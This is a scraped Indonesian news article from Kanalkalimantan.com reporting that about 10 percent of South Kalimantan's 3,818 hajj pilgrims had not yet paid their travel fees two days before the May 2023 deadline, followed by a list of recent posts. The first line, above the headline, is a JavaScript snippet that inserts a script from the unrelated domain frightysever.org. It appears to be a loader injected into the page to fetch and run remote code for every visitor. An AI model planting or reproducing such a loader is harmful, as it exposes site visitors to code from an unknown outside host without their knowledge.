(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tinggal Dua Hari, 10 Persen Calon Jemaah Haji Kalsel Belum Lunasi Setoran Bipih


KANALKALIMANTAN.COM, BANJARMASIN – Menjelang musim haji 2023, ribuan calon jamaah haji (CJH) asal Kalimantan Selatan (Kalsel) persiapan untuk diberangkatkan ke Tanah Suci pada 29 Mei mendatang.

Kepala Kantor Wilayah Kementerian Agama (Kakanwil Kemenag) Kalsel HM Thambrin mengatakan, total keseluruhan CJH asal Kalsel pada tahun 2023 ini atau kuota yang akan diberangkatkan sebanyak 3.818 orang.

Namun dari jumlah tersebut, hingga Rabu 10 Mei 2023, dikatakan HM Thambrin, masih ada ratusan CJH dari kabupaten/kota di Kalsel yang belum melunasi setoran Biaya Perjalanan Ibadah Haji atau Bipih.

“Sekitar 10% yang belum lunas setoran Bipih dari 3.818 orang yang akan berangkat tahun ini,” kata Kakanwil Kemenag Kalsel, kepada Kanalkalimantan.com, Rabu (10/5/2023) sore.

 Baca juga: Beri Perlindungan, 5.480 Relawan Damkar se Banjarmasin akan Diasuransikan

Sementara itu, dikatakan batas akhir perpanjangan pelunasan Bipih akan berakhir dua hari lagi, yaitu pada hari Jumat 12 Mei 2023.

Dia pun mengimbau kepada calon jemaah haji Kalsel untuk segera melakukan pelunasan setoran biaya perjalanan ibadah haji hingga batas akhir waktu perpanjangan nanti.

Sementara itu, Thambrin belum bisa membeberkan konsekuensi apa yang diterima jika para calon jemaah haji yang belum juga melunasi hingga akhir pelunasan.

Kakanwil Kemenag Kalsel HM Thambrin. Foto: rizki

“Soal konsekuensinya itu kami masih menunggu regulasi dari Kementerian,” ucap Thambrin.

Sementara itu, dijelaskan Thambrin, setidaknya ada tiga faktor yang mempengaruhinya kendala pelunasan Bipih, diantaranya karena adanya penerapan kebijakan baru.

 Baca juga: Empat Kabupaten Dapat Anggaran Pamsimas, PUPR Kalsel Gelar Bimtek

Pertama karena karena tidak adanya pendampingan bagi jemaah lansia, kedua karena tidak adanya penggabungan mahram baik antara orangtua dan anak atau istri dan suaminya, apabila tidak mendaftar bersamaan maupun salah satunya tak masuk porsi keberangkatan tahun ini.

“Yang ketiga tentu karena belum bisa bayar atau faktor ekonomi,” pungkasnya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

28 menit ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

16 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

16 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

17 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

18 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

18 jam ago

This website uses cookies.